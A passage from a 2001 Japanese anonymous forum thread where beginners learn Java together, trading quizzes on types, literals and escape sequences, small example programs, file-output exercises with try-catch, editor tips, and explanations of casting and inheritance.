コンパイルエラーになる式はどれですか？すべて挙げてください。
public void intVer() {
　　int A;
　　int 1a;
　　int b, c, d;
　　int int;
　　int integer_value;
　　int e = 123;
　　int f = e;
　　int g = e + 1;
}

144 ：◎：2001/07/12(木) 19:43

問題
(1) intは何ビットですか？また値の範囲は？
(2) shortは何ビットですか？値の範囲は？
(3) longは何ビットですか？値の範囲は？
--何ビット？--
8ビット
16ビット
32ビット
64ビット
128ビット
--値の範囲は？（ア～カ）--
ア　0 ～ 65,535
イ　0 ～ 4,294,967,295
ウ　0 ～ 18,446,744,073,709,551,615
エ　-32,768 ～ 32,767
オ　-2,147,483,648 ～ 2,147,483,647
カ　-9,223,372,036,854,775,808 ～ 9,223,372,036,854,775,807

145 ：◎：2001/07/12(木) 19:44

>>143答え

146 ：◎：2001/07/12(木) 19:47

>>144答え
何問正解しましたか？
次の問題はchar型とエスケープシーケンスです。

147 ：かもめ獣人：2001/07/12(木) 19:54

ＪＡＶＡってなんだっけ？
全然知らないよ

148 ：茄梨：2001/07/12(木) 20:08

JAVVA

149 ：ほねっと：2001/07/12(木) 20:09

独習Javaの例題1.8を入れてみたんですけど動かないですよ？
class Example2 {
public static void main(String args[]) {
System.out.println("This is on the first line.");
System.out.println("This is on the second line.");
}
}

なんか、もう一冊の本（Java超入門）の書き方とはだいぶ違います。

150 ：ほねっと：2001/07/12(木) 20:17

すいませんうごきました。独習のコードはjavaインタープリタで動かす
みたいです。超入門とおなじようにHtmlのappletタグで動かそう
としたせいでうまくいかなかったようです。

151 ：尻尾だけトラ猫：2001/07/13(金) 00:50

Java 2 SDK　インストール。
一応参加してるから。

152 ：おそ松：2001/07/13(金) 02:14

私は”ｓａｋｕｒａ”と言うフリーのエディタ使ってます。
ｊａｖａの予約語だけ文字の色が変わるのでとても便利です。
ｂｙおちコボラー

153 ：うんこじゃば野郎：2001/07/13(金) 03:52

>>141
あー、できた。これって配列に0と1をいれて
あとから　（　´∀｀）と(ﾟДﾟ;)を出力すりゃいいんだな・

154 ：うんこじゃば野郎：2001/07/13(金) 03:54

>>150

java Example2

と打ち込めばOKってことかい？

155 ：尻尾だけトラ猫：2001/07/13(金) 03:57

ほねっとはMacだったっけ？
MacとWinじゃ、ちょっと違うのかな。

156 ：尻尾だけトラ猫：2001/07/13(金) 04:12

俺はまだ１００レス分くらい前の段階です。

157 ：いちご味：2001/07/13(金) 04:20

>>141
私もやっとできたよぉ

158 ：その蜩：2001/07/13(金) 04:32

おもしろそう。
明日からやろうかな？
今から追いつけるかな？

159 ：うんこじゃば野郎：2001/07/13(金) 06:32

>>158
追いつけるもくそも、はじまったばかりさ。

JDEいれたーよ
http://www.inagaki.nuie.nagoya-u.ac.jp/person/haruki/meadow.html

160 ：うんこじゃば野郎：2001/07/13(金) 06:48

>◎さん
エスケープシークエンスのことで、" ' の使い分けをおしえてくり。
本見るといまいち明確でないんだなぁ。

161 ：うんこじゃば野郎：2001/07/13(金) 07:42

Java Server Pages

動的に生成されたページを表示するWebサイトを実現するための機構の1つ。MicrosoftのIIS(Internet Information Service)で利用されている同様の機構としてASP(Active Server Pages)があるが、これのJava版と考えてよい。

基本的な概念は、HTMLファイルの内部にスクリプトで処理を記述し、Webブラウザからのリクエストのたびにスクリプトをサーバ側で実行し、HTML中のスクリプト部分をその処理結果で置き換えてWebブラウザに送り出す、というもの。これにより、HTMLファイルと処理との関連が分かりやすく、実際の表示イメージを意識しながら動的なコンテンツを作成することができる。

JSPファイルはコンパイルされて「Servlet」となる。このため、JSPからJavaBeansを呼び出すことで既存のプログラム資産を活用することも容易だ。

162 ：うんこじゃば野郎：2001/07/13(金) 07:44

PHP

HTMLファイル中に組み込んで利用するスクリプト言語。

動的なWebコンテンツの提供のために使われるもので、ASP(Active Server Pages)やJSP(Java Server Pages)、あるいはColdFusionのような商用製品と同様の狙いと機能を提供するものと考えてよい。独立した処理系としてフリーで公開されているため、特定の企業に依存した技術ではなく汎用性が期待できる。データベースアクセスなどの機能が特に充実しており、データベースと連動したWebサイトの構築などでよく利用される。

163 ：うんこじゃば野郎：2001/07/13(金) 07:44

じゃばすくりぷと

　Netscape社のWWWブラウザであるNetscape Navigator（Communicator）で実行可能なスクリプト言語。文法はJava言語を参考にしているが、Java言語との互換性はない。HTMLファイル上に<Script>タグを使って記述することにより、ボタンが押された場合の処理や、簡単な演算処理などをWWWブラウザ上で実現できる。

　同様のスクリプト言語として、MicrosoftのWWWブラウザであるInternet Explorerでは、Java Scriptに加えて、VBScriptと呼ばれるスクリプト言語をサポートしている。

164 ：茄梨：2001/07/13(金) 07:49

やさしく語ることができないのは理解していないからだ

165 ：尻尾だけトラ猫：2001/07/13(金) 07:56

実は昨日うんこじゃばと同じ本を買った。
全部パソコンの中に取り込んで、古本屋に売る予定。

166 ：うんこじゃば野郎：2001/07/13(金) 08:05

>>164

デジタル用語辞典からコピペしただけです。

167 ：うんこじゃば野郎：2001/07/13(金) 08:11

meadowを使っている方へ。（エディタは何でもいいと思います）

.emacsというファイルがあるのでそれに
以下をコピペしてください。日本語が使用可能になるのと
JAVAの重要語句に色がつきます。JDEをいれるとmeadowから
JAVAをコンパイルしてJAVAを走らせることが出来ました。
さっきのHPにやり方がすべて書いてあります。

-------------------------------------------------------
(set-language-environment 'Japanese)
(mw32-ime-initialize)
(setq default-input-method "MW32-IME")
(global-font-lock-mode t)

168 ：◎：2001/07/13(金) 08:52

>>141こんなんでどうでしょうか？
public class GikoMona {
　　public static void main(String[] args) {
　　　　int i,j;
　　　　String[][] s = new String[10][10];
　　　　for (i = 0; i < s.length; i++) {
　　　　　　for (j = 0; j < s[i].length;) {
　　　　　　　　s[i][j++] = "(ﾟДﾟ;)";
　　　　　　　　s[i][j++] = "（　´∀｀）";
　　　　　　}
　　　　}
　　}
}

169 ：◎：2001/07/13(金) 09:02

>>143
変数宣言は式ではなくステートメントでしたスマソ。
>>160うんこじゃばさん
""は文字列ッス
''は文字です。
だから
ＯＫ
String s = "オマエモナー";
char c = '∀';

ダメ
String s = '∀';
char c = "オマエモナー";

String s = 'オマエモナー';

それから
String s = "オマエモナー";
は
String s = new String("オマエモナー");
と同じなんだそうです。

170 ：うんこじゃば野郎：2001/07/13(金) 13:08

>>169
うへー、すげぇよくわかたよ。ありがとよ。マジで感謝するよ。

171 ：◎：2001/07/13(金) 13:29

>>170ノープロブレムですヨ
問題
それぞれなんの定数ですか？

(1)　123L
(2)　'a'
(3)　'\n'
(4)　1234567891
(5)　123456789123456789L
(6)　0377570
(7)　04771L
(8)　0x8f3f
(9)　0x5a0f9L

--なに？--
ア.　整数の定数
イ.　long型整数の定数
ウ.　文字定数
エ.　整数の定数（８進数表記）
オ.　整数の定数（１６進数表記）
カ.　long型整数の定数（８進数表記）
キ.　long型整数の定数（１６進数表記）

172 ：◎：2001/07/13(金) 13:30

問題
それぞれのエスケープシーケンスの意味は？

(1) \n
(2) \t
(3) \b
(4) \\
(5) \'
(6) \"

ア　バックスペース
イ　タブ
ウ　改行
エ　[ " ]ダブルクォーテーション
オ　[ ' ]シングルクォーテーション
カ　[ \ ]円記号、またはバックスラッシュ

173 ：◎：2001/07/13(金) 13:30

ヒント？？
１０進数で書いても８進数でも１６進数でもコンパイル時に２進数になります。
たとえば[ 255, 0377, 0xff ] はコンパイル時に２進数で[ 11111111 ]と記録されるので
Javaではまったく同じ数になります。

実は文字定数もコンパイル時に２進数になります、
どのような数字になるかは文字コード表としてあらかじめ決められいて、
JavaではUnicodeとASCIIコードが使われます。
もちろんShift-JISなんかの日本語コードも扱えます。
コード表にはあるけどエディタで入力できない文字やそのままでは表示できない文字が、
エスケープシーケンスとして扱われます。
ですので[ \n ]などのエスケープシーケンスは実際には一文字なのです。

文字定数に限らずコンピュータではすべてのものが２進数として扱われます。

174 ：◎：2001/07/13(金) 13:31

>>171答えその１

175 ：◎：2001/07/13(金) 13:32

>>171答えその２

176 ：◎：2001/07/13(金) 13:34

>>172答え
何問出来ました？
つきは浮動小数点です。
間違っていたら教えてください。

177 ：うんこじゃば野郎：2001/07/13(金) 16:54

今日買った本

JAVA　PRESS　VOL12
1280円
1/4も理解できんかったが・・・

アプレットでデータの登録画面をつくって、サーバー側のDBに
登録するには、どうするんだろうか？JAVABEANSってなに？？
要は、JAVACHATがどうなってるんだろうって疑問に思って聞いてみただけっす。
jetchatとかすげーなーと思う。広告収入ではたいしたことなさそうだけど。
↓
ttp://www.jetchat.com/

ドキュソだなぁおれ。

あと、（　´∀｀）と(ﾟДﾟ;)の二次元配列ですが、おれは、
奇数行と偶数行をわざわざIFで振り分けていた。ドキュソだなぁ。

if(j % 2==0)←ドキュソース

新たな2ちゃん用語＝ドキュソース
（ドキュソなプログラマーが書いた
長くて効率がわるくて、醜いソースのこと）

178 ：うんこじゃば野郎：2001/07/13(金) 17:07

>◎
いつもありがとう、勉強になるよ。見捨てないでね。

179 ：ジャバーウォッキー：2001/07/13(金) 19:55

ただいまダウンロード中。
明日からまぜてね

180 ：◎：2001/07/13(金) 21:01

問題
[ 123.456 ]と等しい表記なのは？
(1)1.23456e+2
(2)12345.6e-2
(3)0.000123456e6
答えはメール欄

独り善がりに出題してウザイですよね。
とりあえずここで一区切りつけたいと思います。
暇があったらといてみてください基本点な問題ッスヨ。

181 ：◎：2001/07/13(金) 21:04

>>177これからですよ頑張ってください、あんまり卑屈になるとかえって出来ませんヨ。
>>178わかる範囲でなら何でも答えますので質問してください。
>>179よろしくー

182 ：ほねっと：2001/07/14(土) 00:41

◎さん助けて。

class AssignmentProblem {
publid static void main(String args[]) {
byte b1 = 1;
byte b2 = 2;
byte b3 = b1 * b2;
System.out.println(b3);
}
}

これはs3の宣言のところで右辺がintに拡張されるためにコンパイルエラーが
でるらしいです。ところが実際はちがうところで三個もエラーがでます。なんで？
それと右辺がなんでintに拡張されるんでしょう？あと問題の行を

　　byte b3 = (byte)(b1 * b2);

に変更してもやっぱり三個エラーでコンパイルできません。なんででしょう？

183 ：ほねっと：2001/07/14(土) 00:43

age

184 ：ほねっと：2001/07/14(土) 00:44

s3の宣言→b3の宣言

185 ：5分の1：2001/07/14(土) 00:45

オレは
C++の勉強。
始めてから数ヶ月過ぎてるけどまだわかんないよ。

186 ：尻尾だけトラ猫：2001/07/14(土) 01:09

第2章のDOS窓での実行に成功。

187 ：S3：2001/07/14(土) 01:20

Vision 928

188 ：ほねっと：2001/07/14(土) 01:24

なんの第２章？

189 ：いちご味：2001/07/14(土) 01:43

>>182
２行目
publid static void main(String args[]) {
は
public static void main(String args[]) {
では？

でもホントですね。
上記を修正しても、”精度が落ちる”とかでエラーが出る。
どうしてだろ？

190 ：うんこじゃば野郎：2001/07/14(土) 02:19

public class AssignmentProblem {

public static void main(String args[]) {
byte b1 = 1;
byte b2 = 2;
int b3 = b1 * b2;
System.out.println(b3);
}
}
掛け算すると　int型じゃないと受け入れないのかな～。
これで通ったけど。

191 ：うんこじゃば野郎：2001/07/14(土) 02:25

http://r1.ugfree.to/~java/

うぉぉいいいページだぞ。

192 ：いちご味：2001/07/14(土) 02:26

>>190
その通りやるとうまくいきますね。

ちなみに、掛け算でなくても( / , + , - )エラーはでます。
うーむ。

193 ：尻尾だけトラ猫：2001/07/14(土) 02:29

うんこじゃばと同じ本の2章＞ほねっと
とりあえず、ソースファイルの拡張子と、
コンパイルの仕方と、実行の仕方の手順を学んだ。

194 ：伊澤：2001/07/14(土) 02:32

ああ、俺も合流したい。べつにプロになるとかじゃなくて、
日曜大工とか趣味の電子工作とかそういうノリで。
理系じゃないからきついかな。

195 ：◎：2001/07/14(土) 02:44

>>182ほねっとさん
publid => public ですネ！

エラーの理由はJavaでは8ビットや16ビットのbyte, char, shotは、
計算されるとき32ビットのintとして扱われ、式の値もintになるからです。
そしてJavaでは大きい型から小さい型への変換は明示的なキャスト((byte)など)
が必要になります。

intになる理由は、32ビットのＣＰＵは32ビットを扱うときが一番早いので
それを想定しているからではないでしょうか。

>>194まずはやってみましょうよ！

196 ：ほねっと：2001/07/14(土) 02:53

ああ、おはずかしい。ミスタイプですか。
いまＵＯやってるので一区切りついたら修正してやってみます。

197 ：5分の1：2001/07/14(土) 02:55

オレのU.O.
いつのまにかはじめの一ヶ月過ぎてて
繋がらなくなってたよ。
操作も難しかったし。

198 ：ほねっと：2001/07/14(土) 03:17

＞トラ猫
Blackなんとかって本？本は二冊あるけどもうちょっとあった方が
いいみたい。すくないとわからないことが出たときに人に聞くしか
なくなるから。

199 ：◎：2001/07/14(土) 03:27

public class CastTest {
　　public static void main(String args[]) {
　　　　int a = 10;
　　　　int b = 333;
　　　
　　　　int c = a + b;
　　　　System.out.println(c);
　　　
　　　　byte d = (byte)(a + b);
　　　　System.out.println(d);
　　　
　　　　short e = (short)(a + b);
　　　　System.out.println(e);
　　}
}

(byte)や(short)がキャストです。
(a + b)を括弧でくくってあるのはa + bの結果をキャストしなさい
という意味です。
この結果は[ byte b ]の値だけ343にはなりません。
byteは８ビットで、-128 ～ 127の値しか取れないからです。
このように大きい型から小さい型への変換は値が変わることがあり、
Javaでは必ずキャストを付けるようになっています。

(byte)や(short)以外でも
(char)(int)(long)(float)(double)も使えます。

浮動小数点型と整数型の変換も
値が変わることがあるので注意してください。

200 ：◎：2001/07/14(土) 03:32

スマソ訂正
[byte b]の値だけ＞ [byte d]の値だけ

201 ：ほねっと：2001/07/14(土) 03:59

>>197
公式ページのアカウント管理からアカウントをアクティブにすれば
また出来ますよ。

202 ：◎：2001/07/14(土) 04:01

>>199と、解説するよりも本見たほうが早いですよネ。
でも、質問には答えますので何でも聞いてください。

203 ：ほねっと：2001/07/14(土) 04:14

本で独習ってのは限界ありますね。intにキャストされる理由がのってなかったり。
またよろしくお願いします＞◎さん

204 ：その蜩：2001/07/14(土) 04:41

でかいな３２Ｍ。アナログテレホにはきつい。
ボタンだからイリア嬢にたのめないよ（涙

205 ：尻尾だけトラ猫：2001/07/14(土) 05:11

イリアさん。
http://piza.2ch.net/mona/kako/985/985938667.html

206 ：その蜩：2001/07/14(土) 06:13

(￣ｍ￣）ぷぷっ　続き
http://piza.2ch.net/mona/kako/989/989850000.html

ＤＬあと、４Ｍ

207 ：◎：2001/07/14(土) 10:11

>>203
いえ、あくまで仮定ですよ(w、ごめんなさい。
ほかに考えられる理由は、JavaはJavaVMなどハードウエアの仕様も
決めていますのでそこらへんの負担を軽くするためなのかもしれません。
こちらこそヨロシクッス

208 ：たた：2001/07/14(土) 10:17

サーブレットあたりまできたら合流します。

209 ：尻尾だけトラ猫：2001/07/14(土) 10:21

ダメ板にこんなポジティブなスレッドの有り方があるなんて、
思っても見なかったなぁ。

210 ：ババ：2001/07/14(土) 11:45

僕は独学でJavaを学んで、2、3年くらいしてから
やっと作りたいものが作れるようになったよ。
今までC、Java、scheme、Perl、VBAでプログラムを作ってきたけど
Javaが一番面白い。きれいなGUI作れるし。

211 ：いちご水：2001/07/14(土) 11:56

面白そうだね。。。

212 ：茄梨：2001/07/14(土) 13:33

クリップボード系はエディタに不可欠
ＱＴクリップがバージョンアプされたよ
http://www2k.biglobe.ne.jp/~araken/qtclip.htm
おまけ
http://members.nbci.com/ref3796/ver11/03.jpg

213 ：うんこじゃば野郎：2001/07/14(土) 20:15

JSP 萌え・・・はぁはぁ

http://www.planet-kz.sytes.net/jserver.html
http://yamachan.hept.himeji-tech.ac.jp/programing/renkei.html
http://www.ne.jp/asahi/deer-n-horse/ryosuke/linux/server/apache-ssl-tomcat/

214 ：ジャバーウォッキー：2001/07/14(土) 21:06

参加しマース！
とりあえずスレ追いかけ中、で
◎ さんの >>168 のソースをコピペでコンパイルすると
”\12288は不正な文字です。”
と山盛り出てきました。
ソースを見ながら自分で打ち込むとうまくいったんですが…
どういう現象なんでしょう？

215 ：◎：2001/07/14(土) 22:23

勝手にお勉強リンク！
http://ha-re-i.hoops.ne.jp/program/index.htm
http://www.geocities.co.jp/SiliconValley-SanJose/8084/faq/index.html
>>210でも重いですよね(w
>>214すいません、２ちゃんでインデントするため半角空白のかわりに
全角空白を使用してしまいました。半角空白かタブを使ってください。
[ " ]ダブルクオートで囲まれた文字列は全角空白を使用しても大丈夫ですヨ！

216 ：いちご味：2001/07/14(土) 23:31

>>214
そのままコピペすると、よけいなスペースとかが入っちゃうんで、
ちゃんと修正してからコンパイルしてみてください。

217 ：その蜩：2001/07/14(土) 23:56

参戦しました。
>>214
あ、それ、私もやった！
コピペすると、全角スペースが入ってるんだよ（ｗ

エディタで全角スペースを表示するようにして気が付いた。
（つかっているのはＭＫeditor(ふりー））

218 ：うんこじゃば野郎：2001/07/15(日) 00:27

よおおおし、週末なのにせこせこコーディングしている
そこの寂しい君に、問題！

第壱問
(ﾟДﾟ;)が2000個詰まったテキストファイル(giko.txt)
”逝ってよし”を1500個テキストファイルに出力してみろ。itteyosi.txt

それぞれ一行に10個づつ出力し、(ﾟДﾟ;)と(ﾟДﾟ;)の間には
カンマを入れること。
giko.txt
(ﾟДﾟ;),(ﾟДﾟ;),・・・・(ﾟДﾟ;)改行

itteyosi.txt
逝ってよし,逝ってよし,逝ってよし・・・・改行

第弐問
さらに、666個目の(ﾟДﾟ;)は、（　´∀｀）に変換せよ。

以上だ、検討を祈る。

219 ：その他：2001/07/15(日) 00:56

みんながんばっとるようだね
ここで俺の恩師の大学教授が言った心に染みる名言を君たちに贈ろう
「JAVAのプログラムなんかなぁジャバジャバ作れば良いんだよ！ガハハハ！」
（実話）

220 ：ワイヤー：2001/07/15(日) 00:58

>>219
心に深く刻み込んだ

221 ：モキヒコリ：2001/07/15(日) 01:02

＞219
今日一番感動した！ﾏｼﾞﾃﾞ！

222 ：ジャバーウォッキー：2001/07/15(日) 01:22

>>215-217
アリガトウ！
なるほど、２ちゃん知識も動員すれば気づいたんですな。
全角スペース表示するようにしたヨ！（TeraPad）
ジャバジャバ作るぜ！

223 ：フィルター：2001/07/15(日) 01:25

今日一番感動した！ﾏｼﾞﾃﾞ！

224 ：ｉｎｆｏ：2001/07/15(日) 01:29

>1
私も早速Javaを始めます！

225 ：その蜩：2001/07/15(日) 03:21

ちょっと一息。
クラス？メソッド？？オブジェクト？？？　カタカナ多いな。錯乱してきた（ｗ
 >>191　がわかりやすいかな。

まだまだ、コード書くまで行かないよ。

226 ：メラッサ：2001/07/15(日) 06:12

俺もダメ人間だけどJava覚えたら変われるかな？
エッセンシャルJava ソフトバンク　2600円
iアプリJavaゲームプログラミング　毎日コミュニケーションズ　2200円

これだけ買ったサ

227 ：◎：2001/07/15(日) 09:50

>>226ゆっくり頑張りましょう。
簡単な問題も出しておきますネ。
問題
(1) メンバ変数（インスタンス変数）はどれ？
(2) ローカル変数はどれ？

public class Mona {
　　int o = 3;
　　byte mae;

　　public void omaeMona() {
　　　　int mo;
　　　　char na = '∀';
　　}
}
答えはメール欄

228 ：◎：2001/07/15(日) 15:13

そういえばドキュメントはどうしてますか？
英語版と日本語版がありますけど、
オンラインで読んでも実用的ですよネ。
http://java.sun.com/j2se/1.3/ja/docs.html
http://java.sun.com/j2se/1.3/ja/docs/ja/api/index.html

229 ：おれ：2001/07/15(日) 17:15

誰か基本情報技術者試験受ける？
今年の秋からJavaも追加されるらしい。
「●平成１３年度秋期情報処理技術者試験から、基本情報技術者試験にＪａｖａが追加になります。（2001/05/15）」
http://www.jitec.jipdec.or.jp/

230 ：うんこじゃば野郎：2001/07/15(日) 18:22

>>229
今申し込みした、もちろんJAVAを選択するよ。
JAVAをやるものには、追い風が吹いてるなぁ。

231 ：おれ：2001/07/15(日) 18:47

受験料5100円は高いか安いか。
一応国家資格だし受かれば安いもんかな。
受験者もどんどん増えてるみたいだし、
いよいよディジタルで育ったゲーマーチックなガキんちょが
社会の中心になる時代って感じ。

232 ：◎：2001/07/15(日) 23:33

>>218第一問できましたー。
第二問目は第一問で出力した"giko.txt"を変換すればいいのですか？

233 ：ＷＥＢマスター：2001/07/16(月) 01:49

　|
　|　先生！　BASICの本買ってきました！
　＼＿＿　_＿＿＿＿＿＿＿＿＿＿＿＿＿
　　　　　Ｖ
　　　　／■＼∩
　　　（　´∀｀）ﾉ
　　＿（つ　　　ﾉ＿
　　＼￣￣￣￣　＼
　　 ||＼　　　　　　　＼
　　 ||＼||￣￣￣￣||￣
　　 ||　 ||￣￣￣￣||
　　　　 ||　　　　　　||

234 ：うんこじゃば野郎：2001/07/16(月) 04:39

>>232
まだできそうもないので、正解発表はちょっとまってくり。
変換すればOKです。
>>231
世界の中心にはなれませんよ。プログラムだけできるゲーマー野郎は
ビジネスでは、通用しないよ。コミュニケーション能力が不足してるから（藁　ケケ
JAVAが出来たとして、何に使うか、それをどのようにしたら役に立つのかが
重要かな・・・。俺はただ単に、あほみたいな単純作業を繰り返したくないので
プログラムを知っとくべきだと思っているよ。

235 ：◎：2001/07/16(月) 14:46

第２問出来ました。
ちょっと汚いですが。

236 ：ぼへみやん：2001/07/16(月) 19:38

さげってるぞ

237 ：うんこじゃば野郎：2001/07/17(火) 01:17

http://www.geocities.co.jp/SiliconValley-Cupertino/7493/gikoout.java

try and catch やんないとエラーが出てしまう理由が、わかんないです。

238 ：ほねっと：2001/07/17(火) 01:33

ファイル入出力は僕の本にはまだ出てこないので正解公開は
待ってください。

239 ：とうりすがり：2001/07/17(火) 01:56

>>237
そう言う時はデバッガを使おう

または
System.out.println("*** done.");
みたいなのをソースに入れてどこまで進んだか確認しながらやるといいよ

＃つーか例外処理は難しいのでまだ気にスンナ

240 ：239：2001/07/17(火) 03:21

訂正

FileWriterのメソッドが例外を投げる可能性があり、それを受ける必要が
あるのでtry{....}catch(Exception e){...}が必要

237の例でいくと
try{...}内のファイル操作で例外が発生する可能性があり、例外が発生するとcatchまで処理が飛び、
例外をException eで受けて、System.out.printlnでどんな例外が起きたか表示する、となります。

例外が起きない場合はcatch内は無視します。

今の段階ではtry-catchはおまじないだと思って、try{...}の中にプログラムをかいとけばOK

241 ：うんこじゃば野郎：2001/07/17(火) 03:27

>>239-240

うう(T_T)。うれしいなぁ。そうゆう指摘があると
心強いありがとう。理解も早い。

>>237
ああJDEで　C-c C-v C-d ってやるとデバックモードにはいるみたいですが、
よく使い方がわかってません。

242 ：うんこじゃば野郎：2001/07/17(火) 03:52

JPS　サーブレット使うページ増えてきてるような気がする。
気のせい？？

243 ：ジャバーウォッキー：2001/07/17(火) 05:12

>>218
ぐうう、文字エンコーディング？が立ちはだかる・・・
どっちの問題もそれっぽい結果は得られたんだが・・・
とりあえず今日は寝るdeath

244 ：うんこじゃば野郎：2001/07/17(火) 07:15

>>218
CSVファイルを配列にぶち込んで、666個めにアクセスして、それを（　´∀｀）
に変換すればいいはずだが・・・。FileReaderで読み込んでそのあと
どうするかが・・TT。カンマがくるまで、ひとつの配列のなかにいれるってこと
だよね。ヒントプリーズ

245 ：◎：2001/07/17(火) 08:46

Javaの例外処理はC言語の例外がある場合-1を返す…
よりもエラーの内容がわかりやすくなっています。
try～catch(～finally)文は例外が発生しない限り
負荷になったりしませんので必要なときには便利に使ってください。
APIドキュメントのjava.lang.Throwableにも解説が載っています。

上げました。
http://finito-web.com/circlet/Giko.txt (Giko.java)
>>237メインの処理は同じでしたね。
例外はこういうよくない手抜きの方法もあります(w

246 ：◎：2001/07/17(火) 14:10

>>245PrintWriterは無理にかぶせなくてもいいし。
pw.flush();
はいらないですよね。

>>244私はjava.util.StringTokenizerを使いました。

247 ：うんこじゃば野郎：2001/07/17(火) 17:40

やべー難しすぎる、みなさーんレベル落としましょう。
ついていけなくなりそうだ。もんだいも簡単なやつで逝こう。

248 ：ジャバーウォッキー：2001/07/17(火) 18:04

>>218
第１問はなんとかできました。
で、みなさんのソース拝見したんですが、

new FileWriter(fileName)　と
new BufferedWriter(new FileWriter(fileName))　と
new PrintWriter(new BufferedWriter(new FileWriter(fileName)))　と

の違いがいまいちわからないです。
ちなみに自分は

new PrintWriter((new FileWriter(fileName))

こうしてました。
どういうケースのときにどれを用いるのが適切なんでしょうね？

249 ：ジャバーウォッキー：2001/07/17(火) 18:08

>>247
確かに第２問はﾑｽﾞｶｼｲｰﾖ。
ぱっとみ簡単そうで奥が深いっつうか、、良い問題かも。
RandomAccessFileでやってるけどもうメタメタ。

250 ：　：2001/07/18(水) 01:17

　　　　　　　　　　　　　ζ
　　　　　　　　　／￣￣￣￣＼
　　　　　　　　 /　　　　　　　　　＼
　　　　　　　　/＼　　　＼　／　｜
　　　　　　　 |井井　　　(･)　　(･) ｜
　　　　　　　　(6-------◯⌒つ｜　　／￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣
　　　　　　　　｜　　　　＿|||||||||　｜　＜　じゃばまんせー
　　　　　　　　　＼　／　＼＿/ ／　　　＼＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿
　　　　　　　　　　＼＿＿＿_／
　　　　　　　　　______.ﾉ　　人　(⌒)
　　　　　　　／/::::::::|-､ ,-/::::::ﾉ ~.ﾚ-r┐
　　　　　　 /　/:::::::::::|　　/:::::ノ__　|　.|　ﾄ､
　　　　　　 | /:::::::::::::::|　〈￣　　｀-Lλ_ﾚ′
　　　　　　ﾚ::::::::::::::::::|/:::￣｀ー‐---‐′

251 ：◎：2001/07/18(水) 01:20

>>248
BufferedWriter
http://java.sun.com/j2se/1.3/ja/docs/ja/api/java/io/BufferedWriter.html
FileWriterの親クラスOutputStreamWriter
http://java.sun.com/j2se/1.3/ja/docs/ja/api/java/io/OutputStreamWriter.html
PrintWriterは出力するのに便利なメソッドがあります。

FileWriterにはBufferedWriterを常に付ける、
でよろしいのではないでしょうか？

252 ：sage：2001/07/18(水) 02:41

もう少し、テーマを絞った方がいいと思われ

文字操作、関数、クラス、継承、etcを一度に理解するのは結構難しい

253 ：うんこじゃば野郎：2001/07/18(水) 03:04

どれの絞ってやりましょうか？
というか、みなさんの進行状況を教えてください。

254 ：うんこじゃば野郎：2001/07/18(水) 04:45

↑　　どれに　　　鬱氏

255 ：うんこじゃば野郎：2001/07/18(水) 04:50

>>251
違いがさっぱりわからん。やっぱ、レベル下げよう。鬱氏

256 ：いちご味：2001/07/18(水) 04:52

私は、これから >>218に取り掛かるところ。

257 ：◎：2001/07/18(水) 08:21

Javaの入出力にはストリームという概念があって、
write(), read()が呼ばれるたびに処理が順番に流れていきます。
PrintWriter(new BufferedWriter(new FileWriter(fileName)))は、
PrintWriter => BufferedWriter => FileWriter => ファイル
という順番で呼ばれます。
BufferedWriterはバッファリングを行い、入力される文字を
ある程度まとめてwrite()するのでファイルへの書き込みが効率よくなります。

>>252
Javaですからクラス、継承に一票ス。

258 ：◎：2001/07/18(水) 08:31

↑>>252-254ス（どうでもいいですが(w）

259 ：　：2001/07/18(水) 18:19

漏れは数当てくらいを２日で取得したい
ちゅーか来週面接があるのだ
JAVA野郎をアピりたいぞ

出来るかな？いや、やるしかねぇ

260 ：泰治：2001/07/18(水) 19:49

http://news.yahoo.co.jp/headlines/reu/010718/bus/17393201_japan_45417_1.html

261 ：うんこじゃば野郎：2001/07/18(水) 21:19

>>260
ジャバはサポートしないですって！！M$め・・・
ってことは、XPについているブラウザは、アプレットがうごかねぇってことか？

262 ：うんこじゃば野郎：2001/07/18(水) 21:20

>>259

「JAVAが出来る」と面接で言うためには、相当な時間がかかると思うよ。
へたに、アピールすると入社したあとが、きつい。

263 ：うんこじゃば野郎：2001/07/18(水) 21:23

まずは、クラス、継承、の基礎から逝くことにしましょうか。
漏れは、この辺がよく理解できてないなぁ。本読み直すことにするよ。

264 ：その他：2001/07/18(水) 22:07

問い：「クラス」と「継承」の意味をドリフターズに例えて説明してください
　　　　　

265 ：259：2001/07/18(水) 23:29

>>262
いやスマン、JAVAを取得中と言いたいんだよ
少しは出来るようにならねば
ナニもしないよりはいい

それと今日インストールしたのだが２日じゃ無理か・・？
とりあえず本が無いと苦しいのだが
一応足し算引き算くらいまで出来るようになった
でもforとかifとかString[][] sなどが理解不能
数当ての道遠し

266 ：うんこじゃば野郎：2001/07/18(水) 23:40

>>264

志村けんというクラス（class　simura)には、バラエティーメソッドや、トーク番組
メソッドなんかがあって、アイーン変数や、変なおじさん変数がある。

ってドリフターズ自体がクラスなの？そこら辺がポイントかな？
もしかしたら、芸能人がクラスなのか？

267 ：ただいま１００ぐらい：2001/07/18(水) 23:45

よけい、わからん＞266

268 ：C/C++→JAVA：2001/07/18(水) 23:52

なんか,ここ微笑ましくていいよ｡応援してるゾ。

269 ：ジャバーウォッキー：2001/07/19(木) 00:55

>>257
解説ありがとうございます。
(new BufferedWriter(new FileWriter(fileName))
は常にセット。
PrintWriterもつけるとメソッドが増えて便利と。

入出力関係はとりあえず丸覚えかな。

今後はクラス、継承関係で進むということですね。

平行して　 >>218　の第2問も引き続きがんばってみます。

270 ：5分の1：2001/07/19(木) 00:58

オブジェクト指向の本も読みながら
じゃないときつくならない?
オレはC++を勉強してるけど
別に一冊用意してから少しだけ
勉強が楽になったような気がする。

271 ：ななし：2001/07/19(木) 01:53

「芸能人」というクラスがあってそのサブクラスに「志村けん」クラスがある
この場合、「志村けん」は「芸能人」の一部である（「志村けん」is a one of 「芸能人」）

ここで「is a」の関係に注目！

この「is a」が成り立つような関係を「継承」という

一方、「ドリフターズ」には「志村けん」というメンバーがいる（「ドリフターズ」has a 「志村けん」）
この場合、「has a」の関係が成り立つので「志村けん」は「ドリフターズ」のメンバである、といいます

別の書き方をすれば
class 志村けん　extends 芸能人{
　public void 持ち芸をする(){ System.out.println("アイーン");}
}

class ドリフターズ {
志村けん　メンバーその１;
　・・・
}
こんなかんじ？

＃こういう概念的な話も大切だけど、今の段階では
＃自分でコードを書いたり、他人が書いたコードを改造したり
＃バグで悩んだり、リファレンスの説明を読んだりして
＃経験値を溜めることに専念すべし！
＃そうすれば、突然レベルupして自分に驚く時が来るよ

